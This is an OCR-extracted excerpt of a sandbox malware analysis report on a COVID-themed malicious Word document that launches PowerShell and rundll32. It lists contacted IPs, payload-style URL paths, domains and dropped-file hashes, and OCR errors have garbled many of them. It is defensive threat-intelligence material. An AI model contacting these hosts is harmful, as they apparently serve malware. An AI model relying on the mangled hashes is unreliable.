.00000002.2115150829.000000000
20C0000.00000002.00000001.sdmp,
rundll32.exe, 0000000A.00000
002.2346359103.0000000001E1000
0.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2119863752.0000000001AD0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110650517.000
0000001E10000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2115150829.000000000
20C0000.00000002.00000001.sdmp,
rundll32.exe, 0000000A.00000
002.2346359103.0000000001E1000
0.00000002.00000001.sdmp

Antivirus Detection Reputation

high

high

high

powershell.exe, 00000005.00000 false
002.2115200564.0000000003A4200
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2115162091.00000000039F100
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2120271741.0000000001CB7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2111002328.000
0000001FF7000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2117576675.000000000
22A7000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2119863752.0000000001AD0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110650517.000
0000001E10000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2115150829.000000000
20C0000.00000002.00000001.sdmp,
rundll32.exe, 0000000A.00000
002.2346359103.0000000001E1000
0.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2120271741.0000000001CB7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2111002328.000
0000001FF7000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2117576675.000000000
22A7000.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2115174416.0000000003A0400
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2115200564.0000000003A4200
0.00000004.00000001.sdmp

e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

high
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

high

high
e Avira URL Cloud: safe unknown
e URL Reputation: safe unknown

URL Reputation: safe
URL Reputation: safe

Page 12 of 45



Name Source Malicious Antivirus Detection Reputation

hitp://iwww.icra.org/vocabulary/. rundlI32.exe, 00000006.0000000 false e URL Reputation: safe unknown
2.2120271741.0000000001CB7000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe

00000007.00000002.2111002328.000
0000001FF7000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117576675.000000000
22A7000.00000002.00000001.sdmp

hitp:// powershell.exe, 00000005.00000 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 002.2107998363.00000000023F000

0.00000002.00000001.sdmp, rund

1132.exe, 00000007.00000002.21

14937163.00000000027A0000.0000

0002.00000001.sdmp

hitp:// powershell.exe, 00000005.00000 false high
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv  002.2107269724.000000000039400
0.00000004.00000020.sdmp

hitp://https://shulovbaazar.comp powershell.exe, 00000005.00000 false e Avira URL Cloud: safe unknown
002.2115174416.0000000003A0400
0.00000004.00000001.sdmp

hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2115200564.0000000003A4200 URL Reputation: safe
0.00000004.00000001.sdmp URL Reputation: safe

hitp://investor.msn.com/ rundlI32.exe, 00000006.0000000 false high
2.2119863752.0000000001AD0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110650517.000
0000001E10000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2115150829.000000000
20C0000.00000002.00000001.sdmp,
rundll32.exe, 0000000A.00000
002.2346359103.0000000001E1000
0.00000002.00000001.sdmp

hitp://https://sectigo.com/CPS0D powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2115200564.0000000003A4200 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp:/fwww.piriform.com/ccleaner powershell.exe, 00000005.00000 false high
002.2107269724.000000000039400
0.00000004.00000020.sdmp

hitp:/iwww.%s.comPA powershell.exe, 00000005.00000 false e URL Reputation: safe low
002.2107998363.00000000023F000 e URL Reputation: safe
0.00000002.00000001.sdmp, rund e URL Reputation: safe

1132.exe, 00000007.00000002.21
14937163.00000000027A0000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.21200774
38.0000000002820000.00000002.0
0000001.sdmp

Contacted IPs
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

P Domain

ASN Name Malicious

152.32.168.168 unknown Hong Kong %] 135377 UHGL-AS- false

APUCIloudHKHoldingsGroup
LimitedHK

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Copyright null 2021

31.0.0 Red Diamond

338719

12.01.2021

19:15:07

CloudBasic

Oh 7m 35s

false

light
AG60273928I_COVID-19_SARS-CoV-2.doc
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

12

o ©o o o

HCA enabled
EGA enabled
HDC enabled
GSl enabled (VBA)
AMSI enabled

e o o o o
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Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

19:15:40
19:15:41
19:15:51

API Interceptor
API Interceptor
API Interceptor

Type Description

Joe Sandbox View | Context

IPs

Match
69.49.88.46

71.72.196.159

Copyright null 2021

Associated Sample Name /| URL SHA 256
_ a
- )
_ B
_ o

1x Sleep call for process: msg.exe modified

794x Sleep call for process: rundll32.exe modified

default

Timeout

MAL

mal100.troj.evad.winDOC@16/7@3/5

Failed

Successful, ratio: 33.2% (good quality ratio 31.6%)
Quality average: 71.6%
Quality standard deviation: 24.9%

Successful, ratio: 62%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

79x Sleep call for process: powershell.exe modified

Detection

malicious

malicious

malicious

malicious

Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

TCP Packets have been reduced to 100
Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtQueryAttributesFile calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Link Context

Browse e 69.49.88.
46/2hsmx8q
ypf/8iv55u
q7hpxe/hfotz7/

Browse e 71.72.196
.159/Asgu9
G/UPAJK1H/
kiwB2h2IhM
QGy9M40/Cw
UKkNROTLhDmM
T5iz7yr/QN
OGQRhP/

Browse e 71.72.196
.159/YmBvq
XK/A1lbXsLo
MSYg/iogaw
BtL9c/yD6C9feh/

Browse e 71.72.196
.159/HisuD
o3My4/
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https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/214335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214335/html/none?idtype=webid
https://view.joesandbox.com/analysis/213489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213489/html/none?idtype=webid
https://view.joesandbox.com/analysis/209610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209610/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

71.72.196
.159/IEHZ5
/HVIPRDwFo
J/OuQtgxrl
ROuU80/9t0s
yM1s3J/

71.72.196
.159/Udrox
O40uHCZo3/
SPUpyAXBIZ
AJIKRALZr6
qJHOM3/9tr
1e4XNde6jx
g22B/i2TVT
GpcHCpnicl/

71.72.196
.159/6YX6s
QtKK6MLta/
TbNsyU7EbV
PMjL/OMoOi
2xkKCNW7y6
7b/USvDOTS
XSZ/BulSaK/

71.72.196
.159/LLRDD
CScx1Byk2D
/krMwjOaF5
6Uc9lleeMD
/WuP6hJZcQ
a4/5p5T7L/

71.72.196
.159/30AMQ
7MNt66IIE8
EI/DizHtXL
tgQHgx/U2N
H3hwOGWPot
mCV/dMZCjc
yGRF/qUw6h
gl/FWMSWVK
67N4mSEo0C/

71.72.196
.159/QxJ68
bj/OcYZ8J9
RWfz7qwepe
Y/7Zys/K1B
pu/5CRfSZC
JgSBtKcz/d
hIXBeS6VLIR/

71.72.196
.159/JMk30
NNrO1ReTb/
6XR5dMIuJF
NZfcR/ygOf
R2fimXvduKb/

71.72.196
.159/EMc53
XBYQbNS5JI/

71.72.196
.159/1iekl
OTBS/ak8HNCcj/

71.72.196
.159/cv2mw
GF5/67daqj/
ZkWPeQbBjv
dWajsuvx/I
YL2/TIjK64
MelbfzHxBI/

71.72.196
.159/ejSg6
gT/pSnsS3g
AqTGFHUmM9V
/3g8Kv3cnC
G2Miq94/Sfoxz/

71.72.196
.159/tiVhu
DLoHxS/G2H
TAH/

71.72.196
.159/RQWeh
Xlfgtvs/ht
JbK7vQCVUS
RwZJeE/
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https://view.joesandbox.com/analysis/209583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209583/html/none?idtype=webid
https://view.joesandbox.com/analysis/209581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209581/html/none?idtype=webid
https://view.joesandbox.com/analysis/209575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209575/html/none?idtype=webid
https://view.joesandbox.com/analysis/209571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209571/html/none?idtype=webid
https://view.joesandbox.com/analysis/209452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209452/html/none?idtype=webid
https://view.joesandbox.com/analysis/209451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209451/html/none?idtype=webid
https://view.joesandbox.com/analysis/209450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209450/html/none?idtype=webid
https://view.joesandbox.com/analysis/209449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209449/html/none?idtype=webid
https://view.joesandbox.com/analysis/209425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209425/html/none?idtype=webid
https://view.joesandbox.com/analysis/209410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209410/html/none?idtype=webid
https://view.joesandbox.com/analysis/209409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209409/html/none?idtype=webid
https://view.joesandbox.com/analysis/209407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209407/html/none?idtype=webid
https://view.joesandbox.com/analysis/209406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209406/html/none?idtype=webid

Match

185.2.4.29

Domains

Match
uhk.asiash.com
shulovbaazar.com
mybusinessevent.com

ASN

Match
TWC-10796-MIDWESTUS

REGISTER_UK-ASGB

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Con

text

71.72.196
.159/b9v60
T61MzfaloQ
AP/IIXIIMvsnl/

71.72.196
.159/v4zRq
awC6/myK9u
1BaFBMOak/

71.72.196
.159/w5aqN
3cMRoz5Eq/

71.72.196
.159/5U1wQ
cRoOWdLIEGx
1gIcTfWKFI
kHPs5yEqC/

Context

152.32.168.168
51.79.161.36
51.79.161.36
185.2.4.29

Context

71.72.196.159

75.188.107.174
75.188.107.174
75.188.107.174
75.188.107.174
75.188.107.174
24.164.79.147

174.99.153.50
70.92.118.112
72.133.174.230
69.76.61.62
71.79.68.222
98.103.204.12
98.103.204.12
71.72.196.159
98.103.204.12
98.103.204.12
98.103.204.12
98.103.204.12
98.103.204.12
185.2.4.29
185.2.4.104
185.2.4.64
185.2.4.71
185.2.5.7
185.2.4.64
185.2.5.77
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
185.2.4.18
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https://view.joesandbox.com/analysis/209405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209405/html/none?idtype=webid
https://view.joesandbox.com/analysis/209402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209402/html/none?idtype=webid
https://view.joesandbox.com/analysis/209401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209401/html/none?idtype=webid
https://view.joesandbox.com/analysis/209400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209400/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid
https://view.joesandbox.com/analysis/252092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252092/html/none?idtype=webid
https://view.joesandbox.com/analysis/251915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251915/html/none?idtype=webid
https://view.joesandbox.com/analysis/251901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251901/html/none?idtype=webid
https://view.joesandbox.com/analysis/251884/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251884/html/none?idtype=webid
https://view.joesandbox.com/analysis/251727/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251727/html/none?idtype=webid
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid
https://view.joesandbox.com/analysis/250013/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250013/html/none?idtype=webid
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid
https://view.joesandbox.com/analysis/246421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246421/html/none?idtype=webid
https://view.joesandbox.com/analysis/238596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238596/html/none?idtype=webid
https://view.joesandbox.com/analysis/234043/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234043/html/none?idtype=webid
https://view.joesandbox.com/analysis/231645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231645/html/none?idtype=webid
https://view.joesandbox.com/analysis/231540/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231540/html/none?idtype=webid
https://view.joesandbox.com/analysis/231508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231508/html/none?idtype=webid
https://view.joesandbox.com/analysis/230686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230686/html/none?idtype=webid
https://view.joesandbox.com/analysis/230537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230537/html/none?idtype=webid
https://view.joesandbox.com/analysis/230295/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230295/html/none?idtype=webid
https://view.joesandbox.com/analysis/230176/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230176/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid
https://view.joesandbox.com/analysis/217607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/217607/html/none?idtype=webid
https://view.joesandbox.com/analysis/216854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216854/html/none?idtype=webid
https://view.joesandbox.com/analysis/205573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/205573/html/none?idtype=webid
https://view.joesandbox.com/analysis/205225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/205225/html/none?idtype=webid
https://view.joesandbox.com/analysis/195525/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/195525/html/none?idtype=webid
https://view.joesandbox.com/analysis/195515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/195515/html/none?idtype=webid
https://view.joesandbox.com/analysis/194236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194236/html/none?idtype=webid
https://view.joesandbox.com/analysis/194233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194233/html/none?idtype=webid
https://view.joesandbox.com/analysis/194231/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194231/html/none?idtype=webid
https://view.joesandbox.com/analysis/194225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194225/html/none?idtype=webid
https://view.joesandbox.com/analysis/194222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194222/html/none?idtype=webid
https://view.joesandbox.com/analysis/194216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194216/html/none?idtype=webid
https://view.joesandbox.com/analysis/194215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194215/html/none?idtype=webid
https://view.joesandbox.com/analysis/194211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194211/html/none?idtype=webid

Match

MPW-MACHLINK-NETUS

UHGL-AS-

APUCloudHKHoldingsGroupLimitedHK

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 185.2.4.18
Get hash malicious Browse e 185.2.4.18
Get hash malicious Browse e 185.2.4.18
Get hash malicious Browse e 69.49.88.46
Get hash malicious Browse e 152.32.168.168
Get hash malicious Browse e 103.218.243.57
Get hash malicious Browse e 152.32.227.210
Get hash malicious Browse e 152.32.227.210
Get hash malicious Browse e 152.32.227.210
Get hash malicious Browse e 128.14.230.117
Get hash malicious Browse e 103.72.145.54
Get hash malicious Browse e 101.36.107.74
Get hash malicious Browse e 101.36.113.249

Get hash malicious Browse e 101.36.113.249
Get hash malicious Browse e 101.36.113.249
Get hash malicious Browse e 101.36.120.233
Get hash malicious Browse e 103.72.146.121
Get hash malicious Browse e 128.14.231.58
Get hash malicious Browse e 128.14.231.58
Get hash malicious Browse e 128.14.231.58
htt Get hash malicious Browse e 152.32.211.197

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{73127D7D-FA20-48C4-87 C4-17800DB89026}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:0l3lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CABG460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

high, very likely benign file

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\AG602739281_COVID-19_SARS-CoV-2.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020,
atime=Wed Jan 13 02:15:37 2021, length=162304, window=hide

dropped

2238

4.5423169393715765

false
48:8+HN/XTOjFP/0JaAgQh2+HN/XTO0jFP/0JaAgQ/:8k/XojFP/QgQh2k/XojFP/QgQ/
304C2F49F9864FAC78BABAEOD1C6272F
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https://view.joesandbox.com/analysis/194206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194206/html/none?idtype=webid
https://view.joesandbox.com/analysis/194205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194205/html/none?idtype=webid
https://view.joesandbox.com/analysis/194201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194201/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/253236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253236/html/none?idtype=webid
https://view.joesandbox.com/analysis/252428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252428/html/none?idtype=webid
https://view.joesandbox.com/analysis/252420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252420/html/none?idtype=webid
https://view.joesandbox.com/analysis/252418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252418/html/none?idtype=webid
https://view.joesandbox.com/analysis/252261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252261/html/none?idtype=webid
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid
https://view.joesandbox.com/analysis/242760/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242760/html/none?idtype=webid
https://view.joesandbox.com/analysis/229878/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229878/html/none?idtype=webid
https://view.joesandbox.com/analysis/229780/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229780/html/none?idtype=webid
https://view.joesandbox.com/analysis/228711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228711/html/none?idtype=webid
https://view.joesandbox.com/analysis/225503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225503/html/none?idtype=webid
https://view.joesandbox.com/analysis/224796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224796/html/none?idtype=webid
https://view.joesandbox.com/analysis/219097/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219097/html/none?idtype=webid
https://view.joesandbox.com/analysis/219093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219093/html/none?idtype=webid
https://view.joesandbox.com/analysis/219090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219090/html/none?idtype=webid
https://view.joesandbox.com/analysis/180828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/180828/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\AG602739281_COVID-19_SARS-CoV-2.LNK

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

7D5B556152C92E5A92D3262C2E1A13BECFAAGFD2
096B9CA75D85372CDC6ECE374749D9F5535321E74FE763432A32ED096B08B20CA
5D288F03B6D116A0977357A0E56396E8CD7A85DA0D7DFB8B1E78F7006DF433D2CB1BD7201145ADC8CFF63C5C53325EE3BCAAD8016CD533C85E45A07943D661

+00.../C:\ee t.1....QK.X..Users. ..........QK.X*.
...Alb.us....z.1.....Q.y..Desktop.d......QK.X.Q.y*..._=...

6....Us.ers..@.s.hell3.2..dll,.-
.D.e.sskto.p.@.s.hell3.2.dll,.-21

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

131

4.815604707536106

false

3:M1rpGcooOpU8gXGcooOpUmX1rpGeooOpUv:MLHspuHsppHsp2
E74E90FCAF7772B822493589DB47C6F9
FAOB0EFFEED1184405B4C5B2247CD98FF8578817
ADAOC5277F4289117A547E6D892A2389D43D1E925CC573D8EAOD3E956F70B3F4

C4898407B2113F63B1DE878B7F85C47C83B1B7599974C55C5DD48E4368D495BEAECD4B1A056C9C60D9FF6A071CEODI9CIBF711D1076302B1DBC6CIFC37393DC
4

false

low

[doc]..AG60273928]_COVID-19_SARS-CoV-2.LNK=0..AG60273928|_COVID-19_SARS-CoV-2.LNK=0..[doc]..AG60273928|_COVID-19_SARS-CoV-2.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB69EB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5ADAAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSET ettt Alb.us..... Pttt P Zotiiieanns X...

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J81QN4188FVGHDT92CK8.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5847397118390782

false
96:chQCsMgmqvsqvJCwogz8hQCsMgmqvsEHyqvJCworAzvlYjHRf8OYIUVOIu:cy70qz8yvHnorAzvgf80QIu
DD53FABC928ECEOAAF9143B6978F5DEC

A1lE01E968D252BC3A12894A4AFCDFAD83AD74F41
14E0ABIFF66C04E87804FD82DBF585F667A3453DE5A6B902934562D3BCES4EBD
C2E2C89B199898B7CA58BD320AAA14197DBF539693EE17C89A3EOE4681FOEABCOAEB27239033974FCOF8E78B5575A30430C1A4A22B09438B04EA3CC517C9796:

false

gram.D.ata.
.STARTM~L1.j

W..n.d.o.w.s....... I (¢
<...Pro.grams..@.s.h.e.l
S"LWINDOW~LL.R.....ty ™,

W.ind.ow.s. .P.ow.e.r.Shell..v.2.k. .WINDOW~2.LNK..Z ...W.i.n.d.o.w.s.

C:\Users\user\Desktop\~$60273928|_COVID-19_SARS-CoV-2.doc

Copyright null 2021
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C:\Users\user\Desktop\~$60273928]_COVID-19_SARS-CoV-2.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB6IEB4FCIEADEDDIDA5S50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5ADAAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSBI et Alb.us............. P P Zooiiiind X...

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

